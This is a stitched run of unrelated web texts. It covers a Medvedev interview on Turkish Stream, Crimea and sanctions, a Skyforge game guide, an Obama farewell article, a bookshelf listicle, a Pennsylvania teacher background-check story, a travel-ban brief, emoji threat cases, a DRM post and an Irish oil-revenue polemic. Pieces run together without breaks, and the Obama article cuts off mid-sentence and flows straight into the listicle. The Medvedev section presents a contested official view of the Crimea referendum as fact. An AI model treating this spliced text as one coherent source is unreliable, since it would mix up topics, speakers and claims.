Officials in Brussels decided that Europe doesn't need South Stream. They refused to coordinate the construction of that large project of strategic importance to all sides. I have told your colleagues from Slovenian television that South Stream has fallen victim to Brussels bureaucracy. It showed us yet again that political considerations sometimes take the upper hand over logical and economic sense.
Despite this, we are willing to further develop our energy cooperation with the EU, building alternative routes to satisfy the growing energy requirements of European economies. I'd like to stress that Russia has always been and will always be a reliable supplier of the European market; it will always honour its commitments, just as it has always done before. And it'll always guarantee Europe's energy security.
Over the past years, we've built Blue Stream and Nord Stream. In June this year, Gazprom signed a memorandum of intent to build two new gas lines from Russia's coast to Germany across the Baltic Sea, called Nord Stream-2.
The key project that is designed to ensure the uninterrupted supply of Russian gas to Europe, primarily south-eastern Europe, is Turkish Stream. We hope it will be built on schedule. There are grounds to think so.
We have taken the first step: on 22 June, Turkey issued a permit for the engineering surveys of the pipeline's offshore section. It provides for surveying the area where the first line of Turkish stream will be built in Turkey's exclusive economic zone and territorial waters.
We are coordinating an intergovernmental Russian-Turkish agreement. Soon we'll start talks with the companies that will build the first section. I'd like to emphasise that Turkish Stream meets the interests of both Russia and Turkey.
The other countries that have confirmed their interest in the project, aside from Turkey, are Hungary, Greece, Macedonia and Serbia. Experience shows that we need new energy routes. European economies need stable energy supplies for their development.
As for the contract on Russian gas transit via Ukraine, it will expire in late 2019, or more precisely, at 10 am on 1 January 2020. If it isn't extended, there will be no legal framework for gas deliveries via Ukraine.
History shows that there's no sense in making forecasts about the future of the Ukrainian transit route. One thing is clear, though: we won't extend the transit contract with Ukraine on disadvantageous terms.
Russia has closed the issue of Crimea, having proclaimed it its sovereign territory. Meanwhile, the United States maintains that anti-Russian sanctions will not be lifted until Crimea is returned to Ukraine. Does this mean that the Russia-US confrontation will last forever?
The issue of Crimea is really closed and it was primarily closed by its residents who decided their future by voting at the referendum on 16 March last year. An overwhelming majority voted for Crimea to return to Russia. This is the choice they made in full conformity with democratic procedures and international legal standards. The attempts of those who at one time prepared Kosovo's secession from Serbia without any referendum to call into doubt the free will of the Crimean residents are simply ridiculous. Here's one small example that is far from the diplomatic domain but fully reflects the actual state of affairs. In some Crimean cities people painted their houses and fences in the Russian tricolour. They could hardly be forced to do this.
More than a year has passed since Crimea's return. This period has shown that we've done everything right. Today the peninsula is integrated into Russia's social, legal and economic life. Naturally, there are certain difficulties and much still has to be done but the main thing is that Crimeans have confidence in their homeland, in Russia.
Regrettably, as we've already said, both the United States and the European Union have exploited the choice of the people of Crimea as an excuse to launch anti-Russian sanctions, including the cessation of bilateral contacts in many areas and the imposition of illegitimate economic sanctions on our companies and banks. But let me repeat once again that the imposition of sanctions is pointless and counterproductive. It is impossible to talk with Russia from a position of force or blackmail, as its entire history shows. Any attempts to exert pressure on Russia or compel it to give up its position of principle are useless. They can only harm bilateral cooperation. This has already happened - sanctions are causing damage to both sides.
Naturally, we will cope with American and European sanctions and their adverse impact on our economy. Moreover, we have an opportunity not only to overcome their aftermath but even to use them to some advantage. We are already actively developing cooperation with the countries of the Asia-Pacific Region and promoting our domestic production, for instance, by launching import substitution programmes. The positive dynamics in our agricultural sector bear this out. We'll continue protecting our national interests.
At the same time, the restrictions imposed by Washington are damaging our relations. Major US companies do not want to lose their positions on Russia's promising market and yield their place to competitors from other countries, primarily from Asia. So let the United States decide itself what it would like to achieve with its sanctions. I've said more than once that we did not launch this process and won't be the ones to put an end to it.
It is possible that the inertia of sanctions may last in the United States for a long time. It is enough to recall the Jackson-Vanik amendment, which lasted 40 years and turned from an economic into a political lever. We'll take this into account in elaborating our trade and economic policy and, if need be, adequately respond to new unfriendly actions.
However, I still hope that the United States will resume its pragmatic positions. This has happened more than once in the past. Washington itself admits that Russia cannot be isolated in the modern world and speaks about the important role of Russian-US cooperation in resolving the dispute over the Iranian nuclear programme and many other urgent international issues.
Does the Russian Government plan to abandon the use of licensed US software in the wake of the scandal with mass surveillance by US intelligence and the possibility of new sanctions affecting the IT sphere?
Today, US-made software essentially has a monopoly in many areas. Just like the rest of the world, we use it, including our government bodies, companies, and private users. Things would have been fine if the public hadn't become aware of mass surveillance by US intelligence of users from other countries ranging from ordinary users to heads of state and government. This, to put it mildly, not only runs counter to all accepted norms of international law, but is also immoral, if you will. Moreover, a number of our businesses, banks, and oil and gas companies now have restricted access to specialised IT products and solutions.
We can't do without imported software altogether. As a matter of fact, we don't plan to. What we do plan is to introduce regulatory elements in public procurement. We will buy Russian products with public funds, if these products are a good replacement. We are now revising our laws accordingly.
At the same time, we are implementing an import substitution plan for software. We are identifying several promising areas, including business applications, anti-virus software, and specialised engineering software. Importantly, domestic products should be competitive. The local market alone will not provide sufficient demand. Therefore, we are open to cooperation with all those who are interested in technological independence.
***
Intervju z Dmitrijem Medvedjevom si lahko v slovenščini preberete tukaj: Vsaka laž se boji resničnih dejstevHidden far beyond the common man’s reach, one can find the once forgotten Tessa Temple. It is here that inspiring Immortals and Gods find ancient portals leading to some of Aelion’s abandoned regions, now classified as Hostile Territories. Immense power awaits here, drawing hordes of Invading armies to the numerous Ether Resonators located across the lands massive expanse. Each portal leads to a new Region, each Region holds stronger enemies, and every enemy faced becomes more powerful the deeper one ventures into these dangerous areas.
Hostile Territories are an activity designed for a group of up to 5 players and attempting to complete them alone could prove to be a grave mistake. Enemies in these regions are deadly and numerous, covering the majority of the location, making simple navigation a troubling task! Even so, the rewards provided by these areas are extremely valuable to the advancement and general preparation of an immortal seeking to ready themselves for any impending threats. Those that are having troubles should look to raise their Tactical Sense as it’s a very important stat for negating the sturdy defense of these hostiles - Having a tactical sense that is far too low makes attempting to reap the rewards much more difficult. Increasing this stat can be accomplished through the acquisition of Tactical Sense Fragments from bosses found within Skyforge’s Raids.
Upon forming a group, or joining one after making the jump, players may begin their search for an available Resonator. On the Region’s map, a blue marker displays an available resonator while a red marker signifies that it’s currently occupied by another group. Successfully traversing to a resonator and activating it provides players with a task to kill specific enemies or have the option to slay a powerful boss for instant completion. Upon successfully defeating the opponents, the group will be presented with the option to cash out and receive the current rewards or continue, earning even higher rewards!
Enemies within these territories drop an abundance of useful items like equipment or extremely valuable trophy fragments. The latter of which varies between fragments of all quality levels and due to the large amounts dropped here, allow for a much faster advancement of fully completed trophies. The Ether Resonators themselves, after choosing to receive your reward, converts the energy it has absorbed into large amounts of Sparks of Evolution to assist with the advancement of the individual Class Atlases. Finally, completing of the Hostile Territories quests award Sparks of Revelation which are used to unlock various nodes throughout the Ascension Atlas. These nodes can off both beneficial stats bonuses as well as unlocking shortcuts & access to parts of the Ascension Atlas that has otherwise been blocked.
Hostile Territories are highly rewarding but equally difficult. Completing this activity requires a competent team capable of battling powerful opponents who only seek to harness the power for themselves. Defending Aelion is a top concern and the enemies who plague these lands are a constant threat that cannot be left unchecked. Begin your journey to these hostile territories, immortals, but be wary for these opponents are much more than they appear.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Barack Obama began his presidency on January 20, 2009, with a rallying cry that speaks even more powerfully and poignantly as he concludes his presidency on January 20, 2017. Ad Policy
The president, who had swept to power with a landslide victory, did not speak eight years ago of what he might do. He spoke, in the face of economic uncertainty the likes of which America had not experienced since the Great Depression, of what the people might do:
So let us mark this day with remembrance of who we are and how far we have traveled. In the year of America’s birth, in the coldest of months, a small band of patriots huddled by dying campfires on the shores of an icy river. The capital was abandoned. The enemy was advancing. The snow was stained with blood. At the moment when the outcome of our revolution was most in doubt, the father of our nation ordered these words to be read to the people: “Let it be told to the future world…that in the depth of winter, when nothing but hope and virtue could survive…that the city and the country, alarmed at one common danger, came forth to meet [and replulse it].” America: In the face of our common dangers, in this winter of our hardship, let us remember these timeless words. With hope and virtue, let us brave once more the icy currents, and endure what storms may come. Let it be said by our children’s children that when we were tested we refused to let this journey end, that we did not turn back nor did we falter; and with eyes fixed on the horizon and God’s grace upon us, we carried forth that great gift of freedom and delivered it safely to future generations.
There was an optimism in Obama’s message, an optimism that extended from his own campaign promise of “hope and change.” But it had deeper roots. In his first formal message to the nation he would lead through a period of remarkable technological and human progress, Obama took inspiration from the most visionary of this country’s founding generation: Thomas Paine.
The words Washington ordered read to troops encamped along the Delaware River in December 1776 came from the first of Paine’s pamphlets on “The American Crisis.” Paine began that pamphlet by acknowledging a dire circumstance: “THESE are the times that try men’s souls. The summer soldier and the sunshine patriot will, in this crisis, shrink from the service of their country…”
Those unsettling words have been reread frequently in times of American peril and uncertainty, and they resonate with many Americans as Obama’s presidency gives way to that of Donald Trump. But Paine’s vision was, ultimately, a hopeful one. The pamphleteer observed that “Tyranny, like hell, is not easily conquered; yet we have this consolation with us, that the harder the conflict, the more glorious the triumph. What we obtain too cheap, we esteem too lightly: it is dearness only that gives every thing its value. Heaven knows how to put a proper price upon its goods; and it would be strange indeed if so celestial an article as FREEDOM should not be highly rated.” “We have to re-examine just the flood of endless money that goes into our politics, which I think is very unhealthy.”
On Wednesday, during a gracious and reflective final press conference, President Obama was asked frequently to discuss the issues that try his soul. He answered with expressions of concern about inequality and the many crises that extend from it, explaining that “you don’t want to have an America in which a very small sliver of people are doing really well, and everybody else is fighting for scraps, as I said last week. Because that’s oftentimes when racial divisions get magnified, because people think, well, the only way I’m going to get ahead is if I make sure somebody else gets less; somebody who doesn’t look like me or doesn’t worship the same place I do.”
“That’s not a good recipe for our democracy,” argued the outgoing president. “I worry about, as I said in response to a previous question, making sure that the basic machinery of our democracy works better. We are the only country in the advanced world that makes it harder to vote rather than easier. And that dates back. There’s an ugly history…that we should not be shy about talking about.”
“Voting rights?” a reporter asked.
“Yes,” said Obama, “I’m talking about voting rights.”
And then Obama offered some of the most pointed remarks of his presidency:
The reason that we are the only country among advanced democracies that makes it harder to vote is—it traces directly back to Jim Crow and the legacy of slavery and it became sort of acceptable to restrict the franchise. And that’s not who we are. That shouldn’t be who we are. That’s not when America works best. So I hope that people pay a lot of attention to making sure that everybody has a chance to vote. Make it easier, not harder. This whole notion of…voting fraud, this is something that has constantly been disproved. This, this is fake news. The notion that there are a whole bunch of people out there who are going out there and are not eligible to vote and want to vote. We have the opposite problem. We have a whole bunch of people who are eligible to vote who don’t vote. And so the idea that we put in place a whole bunch of barriers to people voting doesn’t make sense. And then the…political gerrymandering that makes your vote matter less because politicians have decided you live in a district where everybody votes the same way you do so that these aren’t competitive races and we get 90 percent Democratic districts, 90 percent Republican districts, that’s bad for our democracy too. I worry about that.
There are many measures of presidential distinction, but what distinguished Obama during his years in office was the seriousness of his concern for the health and vitality of the American experiment that Paine and his compatriots began. During a presidency that |
out your roommate. It’s a quick enough project that you can do it before he gets up for work. Unlike the time you stapled his coat to the ceiling, this won’t damage any property. In fact, the bookshelf is completely functional. Source
Repisa N5
You gotta keep your options open, whether you’re trying to maximize on shelf space or square footage, this dynamic piece of shelving makes it simple. The Repisa N5 by Sebastián Errázuriz lets you create as much or as little shelf space you need with a flick of the wrist. Source
Books to Go Bookshelf
You know that dessert island book question? Forget that question. Why only have 1 book with you when you could conveniently transport an entire book shelf with wheels and a handle? Even if you never take it anywhere, you’ll never have to worry about your books flying off the shelf. Source
Pack of Dogs
These friendly creatures may not be as furry as man’s best friend, but they certainly are just as loyal. All throughout your home or office this little guy and his friends serve as bookshelves, benches, stools, magazine racks or bookends. The Pack of Dogs bookshelf is small enough to fit on a desk so you can keep him and your books close by as you work. Source
Bed Case
If you’re impressed with the space saving power of the Japanese roll up futon you ain’t seen nothin’ yet. This bed/bookcase triples as a place to sleep, a place to keep your books and an interesting peice of decor. The Bed Case creates a very likable and attractive solution for space management in a small apartment. Source
Tangram Bookshelf
Creative use of shapes, endless possibilities.
If you liked playing with Tangram blocks as a kid, but can’t quite bring yourself to break out the blocks as an adult, this book case will alleviate the urge. Get the shapes you need and create unique artwork that expresses your style. Source
Books on Earthquakes
If you’ve ever been obsessive about making sure your books line up neatly by height, then you’ll probably would hate the disorder of the Books on Earthquakes bookshelf. Sort of a lego meets Barbie meets global disaster the design isn’t just strange, but incredibly versatile due to the “lego” like modular components. You can create a very tall (unstable looking) shelf or 2 smaller ones from the same parts. Source
Cardboard Yin Yang BookShelf
Bring some balance into your home with this incredibly beautiful and simple design. Believe it or not this beautiful bookcase is made out of cardboard and is apparently sturdy enough to hold up just fine. We imagine it takes quite a bit of skill to build something like this, but it’s an example from a do-it-yourself tutorial that shows you how to design your own cardboard furniture (and save a ton of money in the process). Source
Opus Shelving
You won’t have to worry about dressing up this bookshelf with accessories because it creates enough interest on its own. Inspired by the Roman wall building technique “opus incertum” the designer Sean Yoo began to notice those shapes throughout nature. The shelves can be stacked or placed side by side and make a great partitian, letting you grab books from either side.
Source
Bliss Storyline Shelving
A great book can bring powerful images and sounds to your mind and bring you bliss…. apparently so can a great book shelf. The Bliss Storyline shelf visually represents the soundwave of the spoken word “bliss.” The resulting shape creates a very dynamic look that works whether you keep it minimalist with only a few books or really use the shape to it’s full advantage. Source
Quad Shelf
Why should your bookcase or DVD rack just be something in the background no one notices? Let your collection stand out with this unique piece of furniture that quickly becomes the focal point of any room. Fit all of your media, large or small on the same books shelf. Huge reference books, tiny pocket sized books, CDs, DVDs, documents… you’ll find room for anything you need to store here. Source
Spell Shelf
Sometimes it’s best to be as clear as possible. We’d love to see the living room that this matched where the seating spelled out words like “sofa”. That way there would be no mistaking what all of your furniture is used for. That is of course unless your house guests don’t speak English. Those poor saps will have to figure it out based on context. Source
Rafter BookShelf
City life is great, but unfortunately space is limited,and usually expensive since it’s the one thing everyone wants more of. That’s why you don’t let any square feet go to waste, even your ceiling works for you! The Rafter Bookshelf is a simple solution to finding more book storage, and assuming your landlord doesn’t mind, it makes a great weekend project to build yourself. Source
Bookshelf Annotation
We think this design really speaks for itself. Stupid puns aside, the Bookshelf Annotation is a great accent shelf to place above your favorite chair and with some of your all time favorite books. It lets everyone know what books really speak to you (so to speak). Source
Round Sofa
Sort of your own personal haven, the Round Bookshelf Sofa allows you to surround yourself with all of your favorite things and relax. This space saving contemporary design would work well in a bedroom, living room or public library. Fill some of the cubbyholes with speakers and listen to some music as you read and really detach yourself from your surroundings. Source
David Restorick Bookshelf
You’ve been there, not a bookmark in sight and you’ve gotta run in the middle of your favorite read. You lie the book down flat thinking your page is safe, and the cat walks by and knocks it off your nightstand onto he floor. Never again my friend with this clever shelf design. You can put your book down on it and keep your page. This versatile shelf would go great next to your bed giving you convenient storage an surface space. Source
Rolling Shelf
Take advantage of more shelf space by making it bend to your will. Create interesting arrangements with varying heights and options with the Rolling Shelf. The flexible ends made from strips of wood are held together by fabric that allow them to be rolled up to make room. SourceHelping Hands: An anthology of writing by Canadian Buddhist women
If you were to tell the little version of me that someday I’d work on putting a book together, I would have likely kicked you in the shin and then run off to bury my nose into a Laura Ingalls Wilder or Judy Blume book to hopefully erase the memory of our horrid exchange.
Fast forward to today and I have the incredibly good fortune to curate a book which will be released Spring of next year.
I’m working with an exceptional publisher who has been a dream to collaborate with.
I am re-connecting with friends in the Buddhablogosphere and meeting some amazing women who are all, well… lending a helping hand in contributing to this anthology.
I am supported by some incredible individuals who are always full of ideas and suggestions and who have helped to spread the word. For this, I have to give thanks to: Sakyadhita Canada, D.I.Y. Dharma Sangha, Derek from Derek’s Dharma Blog, Arun- The Angry Asian Buddhist and Suwanda H J Sugunasiri.
I am still seeking a few more contributors so please don’t hesitate to get in touch with me if you are interested or have any questions. Please do spread the word in your networks as well.Some teachers and other school employees with criminal pasts are in a battle to preserve their jobs as a result of a recently revised state law aimed at enhancing the safety of schoolchildren.
Four lawsuits have been filed around the state so far this month — including one by a Harrisburg School District teacher — challenging the state Department of Education’s application of new rules about criminal histories to current school employees.
The Pennsylvania State Education Association is footing the legal bills for the teachers who are challenging the department’s stance — causing one lawmaker to accuse the teachers union of putting its interests ahead of kids and their parents.
Known as Act 24 and enacted last year, the law requires school employees to disclose any prior arrest or convictions for serious offenses, including homicide, kidnapping, sexual assault or aggravated assault. The law also covers those hired before a 1986 law that mandated criminal background checks for new employees took effect.
Directed to fire teachers
The department’s interpretation of the law directs administrators to fire anyone coming in contact with schoolchildren who had been convicted of one of the 28 listed offenses in the past. It says those people should be barred for life from working in schools.
Harrisburg schools have a “multiple number” of employees with past convictions for serious offenses, according to information it shared with the department. Chief counsel Joseph Miller said some are teachers and some hold nonteaching positions.
He declined to disclose the number or names of those employees or details about the types of convictions on their records, citing confidentiality rules of the educator discipline process.
But in a lawsuit filed in Dauphin County Court, high school math department head Eric Croll spoke of his run-in with the law 19 years ago that resulted in a corruption-of-minor conviction.
Though the charge stemmed from the then-20-year-old taking along an underage friend when he broke into an unoccupied barn, corruption of minors is on the list of serious crimes the department says are firing offenses.
Croll filed the lawsuit to challenge that interpretation. The Harrisburg School District has joined him in asking the court to allow him to remain employed until his lawsuit is resolved.
In the meantime, he remains in the classroom.
Department officials said at least 14 public or private schools or school districts have reported having one or more employees with arrests or convictions in their background for one of the offenses listed. The department staff is still reviewing those reports submitted last month, and that number could rise, department spokesman Tim Eller said.
Interpretation dispute
At the heart of Croll’s lawsuit, as well as the other cases filed in York, Delaware and Allegheny County courts, is how the department defined the following section: “No person subject to this act shall be employed in a public or private school... where the report of criminal history record information indicates the applicant has been convicted” of any of the 28 listed offenses.
The department is interpreting the section to cover any prospective or current employee or contractor who comes in contact with children.
In their suits, the school employees argue that the statute’s wording suggests it applies only to future employees.
“It even uses the word ‘applicant’ in the very section the department of education is relying upon. Mr. Croll was an applicant six years ago. He’s not an applicant now and should not be subject to being terminated now,” said Harrisburg attorney Thomas Scott, the PSEA-retained attorney representing Croll.
The school employees argue that even if the law is determined to apply to current employees, it is unconstitutional. It violates employees’ due process rights through its retroactive application. And it penalizes them again for crimes they were already punished for.
They also argue that the education secretary is not empowered to direct a school to fire an employee.
Miller said the employees’ arguments don’t protect children from people convicted of serious offenses, which was lawmakers’ intent for passing the law.
Furthermore, he said the employees’ argument violates a prior state Supreme Court ruling that holds when it comes to other people’s safety and protection, the same employment rules apply to prospective and current employees.
Sen. Jeffrey Piccola, R-Dauphin County, who spearheaded the effort to get this law enacted in response to a Dauphin County grand jury recommendation, said the department’s interpretation is exactly what the Legislature intended.
“People who commit these offenses... should not be hired to work around children, period,” he said.
Education Secretary Ronald Tomalis said he has received no pushback from any legislator about the department’s interpretation. Moreover, when it comes to the special nature of the teacher-child relationship, he said you have to look beyond just meeting the letter of the law.
Tomalis said, “There’s always a balance in these situations, yet it is important that we remember that we’re talking about a special profession that takes in its care children that parents entrust to us. If this is not the profession where we should be more sensitive, then I don’t know what is.”
Clean record since 1992
Croll was 20 in 1992 when he, along with a 17-year-old friend, broke into an unoccupied barn in Schuylkill County and stole items. His conviction led to a sentence of an overnight stay in jail, plus a fine.
He then went on to pursue his college degree and teaching certification.
“OK. That was bad,” his attorney acknowledges, but Scott adds a caveat. “Whether it was corruption of minors or not, I mean he pled to it, but I don’t think that’s the kind of thing people have in mind when they look at that statute.”
Scott said the department was aware of Croll’s conviction and vetted it before issuing him his teacher’s certification. The district was aware of his criminal history when it hired him in 2005. At that time, the state’s background check law barred only those convicted within the last five years from school employment.
Croll has had a clean record since the 1992 case.
But based on the department’s interpretation, none of that matters.
The Education Department argues the law requires Harrisburg Superintendent Sybil Knight-Burney to begin the termination procedure for Croll. Failure to do so would place her under threat of a civil penalty of up to $2,500 and could put her educational credentials in jeopardy.
District officials asked the court to let Croll to stay in the classroom until the case is resolved.
“The public interest is not served by removing a quality teacher from his classroom based solely upon a criminal conviction that is two decades old and that has no bearing now or in the future on [Croll’s] ability to deliver the curriculum of the school district to his students in a positive and effective way,” the district’s motion states.
Efforts to contact Knight-Burney and district solicitor Marc Tarlow on Thursday and Friday were unsuccessful.
The other lawsuits that have been filed in counties around the state involve York City School District custodian Marvin Rowe and cafeteria aide Cheryllynn Riddley; an intermediate unit employee in Allegheny County; and a bus driver and a part-time custodian in the Penn-Delco School District in Delaware County.
The state is asking the county courts to transfer the cases to the Commonwealth Court, where they can be consolidated.
The safety of kids
Piccola said the Pennsylvania State Education Association’s stance in this legal fight puts union interests ahead of kids and their parents.
“They are more interested in the employment of adults than they are the education of kids, and in this case, the potential safety of kids,” he said.
PSEA spokesman David Broderic took exception to that.
“The education and safety of children in public schools is of paramount importance to PSEA.... The fact that PSEA provides legal representation to members who have legitimate legal issues connected with their employment is something our members expect PSEA to provide,” he said.
Piccola said he is particularly disturbed at Harrisburg School District’s balking at firing an employee with a corruption of minors conviction. He said that sends a bad message to children.
“We’re not saying [Croll] can’t work. That he has to go on welfare. We’re not suggesting he can’t get a job at Weis or Giant or even as an executive in some corporation. But we are suggesting because of his record, he should not be around kids,” Piccola said.
But Croll’s attorney said it makes no sense to fire him.
“In Eric’s case, I think there are very few fair-minded people who would say [someone] who has been satisfactorily performing a job for six years should be thrown out of the job because of something that happened when he was 20,” Scott said. “Something that’s been known, something he spent overnight in jail for. That was a big crime that costs a man his career? Baloney.”
Act 24
The new law governing teacher background check mandates:
— Anyone convicted of any of 28 specific offenses are barred for life from working in schools. Previous state law only prevented someone from getting a school job within five years of their conviction.
— Teachers or others who come in contact with school children are required to report any new arrest on one of 28 specified charges to their school district within 72 hours.
— The state Department of Education says the lifetime disqualification applies to current and future employees, an interpretation that is now at the center of a legal challenge.
— The 28 offenses are: homicide; aggravated assault; stalking; kidnapping; unlawful restraint; luring a child into a motor vehicle or structure; rape; sexual assault; involuntary deviate sexual intercourse; institutional sexual assault; sexual assault involving a minor; aggravated indecent assault; indecent assault; indecent exposure; sexual intercourse with an animal; incest; concealing the death of a child; endangering the welfare of children; endangering the welfare of an infant; prostitution; providing pornography to a minor; corruption of minors; sexual abuse of children; unlawful contact with a minor; solicitation of minors to traffic drugs; sexual exploitation of children; drug felonies; and any similar offenses that occur outside of Pennsylvania.Paxton to U.S. Supreme Court: Let Trump’s new travel ban stand
Texas Attorney General Ken Paxton joined attorneys general from 11 other states Wednesday in asking the U.S. Supreme Court to uphold the Trump administration's latest travel ban, which seeks to limit entry to the U.S. by citizens of eight countries, six of which are majority Muslim. less Texas Attorney General Ken Paxton joined attorneys general from 11 other states Wednesday in asking the U.S. Supreme Court to uphold the Trump administration's latest travel ban, which seeks to limit entry to... more Photo: Associated Press File Photo Photo: Associated Press File Photo Image 1 of / 1 Caption Close Paxton to U.S. Supreme Court: Let Trump’s new travel ban stand 1 / 1 Back to Gallery
AUSTIN — Texas Attorney General Ken Paxton joined attorneys general from 11 other states Wednesday in asking the U.S. Supreme Court to uphold the Trump administration's latest travel ban, which seeks to limit entry to the U.S. by citizens of eight countries, six of which are majority Muslim.
Paxton and the others argued the newest version of the ban “is emphatically not a ‘Muslim Ban’,” but a necessary step in the fight against terrorism. He said the ban suspends entry from “several failed states, governments that are state sponsors of terrorism or governments otherwise unwilling or unable to respond to adequate vetting or other terrorism-related concerns.”
The latest travel restrictions vary by country, but generally apply to residents of Chad, Iran, Libya, Somalia, Syria, Yemen, North Korea and Venezuela.
Federal courts in Hawaii and Maryland have recently blocked the travel ban to varying degrees. The Trump administration has since asked the U.S. Supreme Court to let the its travel restrictions take full effect.
“Through its latest travel ban, the Trump administration has taken significant and common-sense steps to upgrade vetting and national security procedures vital to protecting Texas and the rest of the country from terrorism,” Paxton said in a statement. “We’re hopeful the Supreme Court will agree with our coalition that the travel ban is lawful and constitutional, and should be enforced in its entirety.”
The other attorneys general who signed onto the friend-of-the-court brief are those from Alabama, Arizona, Arkansas, Florida, Kansas, Louisiana, Missouri, Ohio, Oklahoma, South Carolina and West Virginia.
Critics of the newest version of the travel ban argue that even with the addition of North Korea and Venezuela, it still is an attempt to block Muslims from entry.
amorris@express-news.netIn a recent workplace survey, more than half of the employees polled said they have used an emoji to communicate at work. Here's a look at the pros and cons of using them in office communications.
Using Emoji at Work: the Do's and Dont's 1:40
NEARLY everyone is familiar with emoji, those popular icons that appear in text messages, emails and social media platforms. Emoji are often used as lighthearted adjuncts to text, or to soften the blow of a message.
Emoji can be viewed as overly simplistic in some contexts. For example, government officials were questioned when Foreign Minister Julie Bishop conducted an interview using just emoji, and described Russian President Vladmir Putin using an angry face.
A 2017 study found that use of emoji in work emails reduced perceptions of competence.
But emoji can be taken very seriously in the context of the law. The use of emoji has challenged lawyers, judges, and lawmakers in several countries. In a legal context, emoji are increasingly recognised not as joke or ornament, but as a legitimate form of literacy.
Making a criminal threat via emoji
Perhaps the most troubling use of emoji has come through their use in interpersonal messages where it is unclear whether they modify or amplify a prima facie criminal threat.
In New Zealand, a judge considered the role of emoji in a Facebook message sent by a man to his ex-partner. The man wrote, “you’re going to get it” followed by an aeroplane emoji.
Concluding that the message and emoji generally conveyed that the defendant was “coming to get” his ex-partner, the judge sentenced the accused to 8 months jail on a charge of stalking.
In 2016, a court in France convicted a young man of threatening his ex-girlfriend through a text message sent by mobile phone. The court found that the inclusion of a gun emoji meant that the message amounted to a “death threat in the form of an image”. The court sentenced the defendant to six months’ imprisonment and imposed a €1,000 fine.
The issue has also arisen in several cases in the US. In Virginia in 2015 a high school student was charged with computer harassment and threatening school staff. She had posted several messages to her Instagram account, combining text with emoji (a gun, a knife and a bomb).
The student claimed that she had never intended to make a threat and that the posts had been a joke.
In the same year, a 17-year-old in New York was charged with making a terrorist threat on his Facebook page after posting a policeman emoji, and three guns pointing towards it.
The prosecutor alleged that the message constituted a clear threat to police due to several factors:
• identification of a class of victim (police)
• repeated use of the gun emoji
• placement of the emoji weapons close to the emoji of the officer’s head
• the fact that other violent messages had been posted by the student earlier the same evening.
However, a grand jury failed to indict the defendant, at least in part due to concerns about whether the post really demonstrated criminal intent.
Liability in other threat cases has been more readily established. A high school student was convicted of making a criminal threat after she sent a series of tweets including a variety of emoji weapons.
Her claim that the tweets were meant to be a joke was unsuccessful.
Perhaps the high point of emoji liability occurred in a case in Spartanburg County, South Carolina. The defendants, who had previously physically attacked the victim, sent him a message comprising only emoji: a fist, followed by a pointed finger, followed by an ambulance.
They were subsequently arrested for stalking. And what exactly was the threat contained in their message? That the victim would be beaten (fist) leading to (pointed finger) hospitalisation (ambulance).
It is perhaps not surprising that those convicted of issuing criminal threats via emoji have all been relatively young; after all, many studies identify those under 30 as the most prolific digital communicators.
With claims that more than 9 million Australians use emoji, determining their meaning in a particular communication may increasingly emerge as a significant legal issue.Cory Doctorow To Push For Ending DRM
from the good-day-to-announce-this dept
"Apollo was a decade-long plan to do something widely viewed as impossible: go to the moon. Lots of folks think it's impossible to get rid of DRM. But it needs to be done," said Doctorow. "Unless we can be sure that our computers do what we tell them, and don't have sneaky programs designed to take orders from some distant corporation, we can never trust them. It's the difference between 'Yes, master' and 'I CAN'T LET YOU DO THAT DAVE.'"
And personally, I can see that there will be programs that run on general purpose computers and peripherals that will even freak me out. So I can believe that people who advocate for limiting general purpose computers will find receptive audience for their positions. But just as we saw with the copyright wars, banning certain instructions, or protocols, or messages, will be wholly ineffective as a means of prevention and remedy; and as we saw in the copyright wars, all attempts at controlling PCs will converge on rootkits; all attempts at controlling the Internet will converge on surveillance and censorship, which is why all this stuff matters. Because we've spent the last 10+ years as a body sending our best players out to fight what we thought was the final boss at the end of the game, but it turns out it's just been the mini-boss at the end of the level, and the stakes are only going to get higher.
This is Copyright Week, in which various people supporting more reasonable copyright laws highlight some of the problems with existing laws and important concepts that should be in copyright reform efforts. Today's topic is "you bought it, you own it," -- a concept that is often held back due to bad copyright laws. A few months ago, a bill was introduced in Congress called YODA -- the You Own Devices Act -- which would allow the owner of computer hardware to sell the deviceswithout creating a copyright mess. It was a small attempt to take back basic property rights from copyright law which often stamps out property rights. Hopefully, a similar bill will show up in the new Congress, and become law. Even better would be for copyright law to actually recognize true property rights, rather than limiting them at nearly every turn.One of the biggest attacks on property rights and ownership is Section 1201 of the DMCA, better known as the Anti-Circumvention clause, that says it's against the law to circumvent any "technological measures" that were designed to block copying --. That is, if you break technological measures to access content that is not covered by copyright at all, you're still violating the law. This is the law that has made DRM so powerful, and which regularly removes your right to own what you bought. It's a blatant attack on basic property rights, and (even worse) has copyright maximalists pretending that theirof property rights is actually a move in favor of property rights.Thus, it's great to see the announcement today that Cory Doctorow is returning to EFF to help with its new Apollo 1201 Project, a plan to eradicate DRM in our lifetime Doctorow has been speaking out on this issue for years. If you haven't watched his 2012 talk at the Chaos Communication Congress on the "war on general purpose computing," it's well worth your time. It's a discussion I've gone back to many times in the two and a half years since he first gave that talk. It highlights not only the absurdity of DRM in general, but why this is an issue that goes well beyond just the idea of locking down some content to protect an obsolete business model. As his speech noted, this is a battle over the right to actually own your computer and not to open it up to censorship and surveillance. The fight over DRM on content was just the beginning:
Filed Under: 1201, anti-circumvention, apollo 1201, apollo 1201 project, copyright, cory doctorow, dmca, drm, general purpose computing, yoda
Companies: effThe €420,000,000,000+ Ireland is giving away
Vast quantities of gas and oil have been discovered under Irish waters in the Atlantic Ocean over the past 15 years. The Government’s figures put the value of these reserves at €420 billion (€420,000,000,000), but this is a very conservative estimate. The real figure is likely to be much higher, especially as the global price of oil and gas rises (see explanation below*).
So what will the Government be spending these new-found riches on? The answer is: Nothing. This wealth will be leaving Ireland, thanks to a deal made between the corrupt Haughey government and multinational oil companies. Minister Ray Burke (later jailed for corruption) changed the law in 1987, reducing the State’s share in our offshore oil and gas from 50% to zero and abolishing royalties. In 1992, Minister Bertie Ahern reduced the tax rate for the profits made from the sale of these resources from 50% to 25%.
According to respected economist Colm Rapple, the amount of tax paid will be very low and will not be paid until many years into the operation of a gas or oil field, because the deal allows the companies to write off 100% of costs (even the anticipated cost of shutting down the operation!) before they declare the profits to be taxed (see www.colmrapple.com). In major oil/gas producing countries, the state takes an average (median) of 68% of the value of gas and oil.
